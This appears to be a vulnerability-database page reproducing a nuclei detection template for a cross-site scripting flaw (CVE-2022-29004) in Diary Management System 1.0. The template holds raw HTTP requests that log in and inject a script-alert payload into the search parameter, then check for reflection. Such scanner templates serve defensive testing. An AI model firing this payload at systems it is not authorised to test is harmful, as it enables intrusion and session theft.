Lucene search
K

Diary Management System 1.0 - Cross-Site Scripting

🗓️ 03 Jun 2026 06:04:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

Diary Management System 1.0 - Cross-Site Scripting vulnerability via Name parameter in search-result.php allows injection of malicious scripts into web pages, leading to session hijacking, defacement, or theft of sensitive information

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-29004
23 May 202216:16
attackerkb
Circl
CVE-2022-29004
23 May 202220:41
circl
CNNVD
Diary Management System 跨站脚本漏洞
23 May 202200:00
cnnvd
CNVD
Diary Management System Cross-Site Scripting Vulnerability
24 May 202200:00
cnvd
CVE
CVE-2022-29004
23 May 202215:38
cve
Cvelist
CVE-2022-29004
23 May 202215:38
cvelist
NVD
CVE-2022-29004
23 May 202216:16
nvd
OSV
CVE-2022-29004
23 May 202216:16
osv
Prion
Cross site scripting
23 May 202216:16
prion
Positive Technologies
PT-2022-19358 · Unknown · Library Management System
23 May 202200:00
ptsecurity
Rows per page
id: CVE-2022-29004

info:
  name: Diary Management System 1.0 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/sudoninja-noob/CVE-2022-29004/blob/main/CVE-2022-29004.txt
    - https://phpgurukul.com/e-diary-management-system-using-php-and-mysql/
    - http://phpgurukul.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29004
    - https://github.com/manas3c/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29004
    cwe-id: CWE-79
    epss-score: 0.39704
    epss-percentile: 0.97387
    cpe: cpe:2.3:a:phpgurukul:e-diary_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpgurukul
    product: e-diary_management_system
  tags: cve2022,cve,xss,authenticated,edms,phpgurukul,vuln

http:
  - raw:
      - |
        POST /edms/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        logindetail={{username}}&userpassword={{password}}&login=
      - |
        POST /edms/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        searchdata=<script>alert(document.domain);</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Serach Result Against "<script>alert(document.domain);</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e516db548aeef89ff6652be3bcf9abbd5aa20700ff4461204292f19cd6c7baf6022014941025fd6ceb6f00e0e614184b2411910750bc6602059fd1e372355c204c92:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.39704
12